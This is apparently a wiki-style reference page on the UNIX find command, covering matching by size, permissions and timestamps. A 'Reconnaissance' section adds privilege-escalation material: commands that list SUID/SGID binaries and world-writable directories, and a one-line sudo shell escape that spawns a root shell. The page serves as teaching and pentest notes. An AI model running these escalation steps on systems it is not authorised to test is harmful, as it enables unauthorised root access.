find

find is the standard UNIX utility for walking directory trees and matching files by metadata (name, type, owner, size, permissions, timestamps). It doubles as a reconnaissance tool on Linux targets and, when misconfigured in sudo, as a shell-escape vector (GTFOBins).

Matching by metadata

Ownership

• -user NAME / -group NAME — match files owned by the given user/group (numeric IDs or symbolic names)

Size

-size n matches files of size n; prefix with + or - for strictly greater/less than. Suffixes:

Suffix	Unit
c	bytes
k	kibibytes (1024)
M	mebibytes
G	gibibytes

# Files over 4 GiB (too large for FAT32)
find / -type f -size +4G 2>/dev/null

Permissions

-perm MODE accepts numeric or symbolic permission modes:

• -perm 644 — exactly 644
• -perm -644 — at least these bits set (extra bits ignored; all specified bits required)
• -perm /644 — any of the specified bits set

Timestamps

-{a,m,c}{min,time} n match on:

• a — last access
• m — last content modification
• c — last inode change (metadata or content; every mtime change is a ctime change, not vice versa)

n is minutes (-min) or 24-hour days (-time). Prefix with +/- for more/less than n ago.

find . -type f -amin +30   # accessed more than 30 min ago
find . -type f -mtime -7   # modified within the last week
find . -type f -mtime 0    # modified in the last 24 h

Reconnaissance

SUID / SGID executables

find / -type f \
       -a \( -perm -u+s -o -perm -g+s \) \
       -exec ls -l {} \; 2> /dev/null

SUID/SGID binaries are prime privesc targets — cross-check hits against GTFOBins and suid-shell-executable.

World-writable + world-executable directories

find / -type d -a \( -perm -o+w -perm -o+x \) 2>/dev/null

Writable-and-searchable directories allow arbitrary file drops (cron paths, web roots, PATH hijacking).

Shell escape via sudo

If find is allowed via passwordless sudo (check sudo -l):

sudo find . -exec /bin/sh \; -quit

-exec runs as root; -quit stops after the first match so only one shell spawns.

Sources

• find(1) — Linux manual page
• GTFOBins — find
• POSIX find specification

Related: unix-permissions, suid-shell-executable, linux-reconnaissance-commands, vim-shell-escape, find-canonical-path-readlink